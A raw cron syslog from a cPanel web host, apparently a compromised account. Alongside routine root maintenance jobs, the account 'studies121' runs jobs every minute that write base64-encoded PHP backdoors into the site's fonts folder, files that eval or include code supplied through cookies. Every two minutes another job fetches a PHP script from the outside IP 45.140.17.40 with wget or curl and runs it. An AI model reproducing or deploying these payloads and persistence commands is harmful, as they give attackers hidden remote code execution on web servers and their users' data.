Sep 21 00:50:01 ip-184-168-122-23 CROND[2925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:50:01 ip-184-168-122-23 CROND[2926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:51:01 ip-184-168-122-23 CROND[3028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:51:01 ip-184-168-122-23 CROND[3026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:51:01 ip-184-168-122-23 CROND[3027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:51:01 ip-184-168-122-23 CROND[3029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:52:01 ip-184-168-122-23 CROND[3107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:52:01 ip-184-168-122-23 CROND[3109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:52:01 ip-184-168-122-23 CROND[3111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:52:01 ip-184-168-122-23 CROND[3110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:52:01 ip-184-168-122-23 CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:53:01 ip-184-168-122-23 CROND[3189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:53:01 ip-184-168-122-23 CROND[3191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:53:01 ip-184-168-122-23 CROND[3192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:53:01 ip-184-168-122-23 CROND[3194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:54:01 ip-184-168-122-23 CROND[3278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:54:01 ip-184-168-122-23 CROND[3281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:54:01 ip-184-168-122-23 CROND[3280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:54:01 ip-184-168-122-23 CROND[3282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:54:01 ip-184-168-122-23 CROND[3283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:55:01 ip-184-168-122-23 CROND[3366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:55:01 ip-184-168-122-23 CROND[3368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:55:01 ip-184-168-122-23 CROND[3372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:55:01 ip-184-168-122-23 CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:55:01 ip-184-168-122-23 CROND[3371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:55:01 ip-184-168-122-23 CROND[3370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:56:01 ip-184-168-122-23 CROND[3558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:56:01 ip-184-168-122-23 CROND[3561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:56:01 ip-184-168-122-23 CROND[3560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:56:01 ip-184-168-122-23 CROND[3559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:56:01 ip-184-168-122-23 CROND[3563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:57:01 ip-184-168-122-23 CROND[3654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:57:01 ip-184-168-122-23 CROND[3656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:57:01 ip-184-168-122-23 CROND[3657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:57:01 ip-184-168-122-23 CROND[3658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:58:01 ip-184-168-122-23 CROND[3738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:58:01 ip-184-168-122-23 CROND[3740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:58:01 ip-184-168-122-23 CROND[3742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:58:01 ip-184-168-122-23 CROND[3743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:58:01 ip-184-168-122-23 CROND[3741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:59:01 ip-184-168-122-23 CROND[3819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:59:01 ip-184-168-122-23 CROND[3820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:59:01 ip-184-168-122-23 CROND[3823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:59:01 ip-184-168-122-23 CROND[3826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:00:01 ip-184-168-122-23 CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:00:01 ip-184-168-122-23 CROND[3924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:00:01 ip-184-168-122-23 CROND[3923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:01:01 ip-184-168-122-23 CROND[4018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 01:01:01 ip-184-168-122-23 CROND[4020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:01:01 ip-184-168-122-23 CROND[4021]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 01:01:01 ip-184-168-122-23 CROND[4022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:01:01 ip-184-168-122-23 CROND[4023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:01:01 ip-184-168-122-23 CROND[4028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4021]: starting 0anacron
Sep 21 01:01:01 ip-184-168-122-23 anacron[4039]: Anacron started on 2026-09-21
Sep 21 01:01:01 ip-184-168-122-23 anacron[4039]: Normal exit (0 jobs run)
Sep 21 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4041]: finished 0anacron
Sep 21 01:02:01 ip-184-168-122-23 CROND[4160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:02:01 ip-184-168-122-23 CROND[4163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
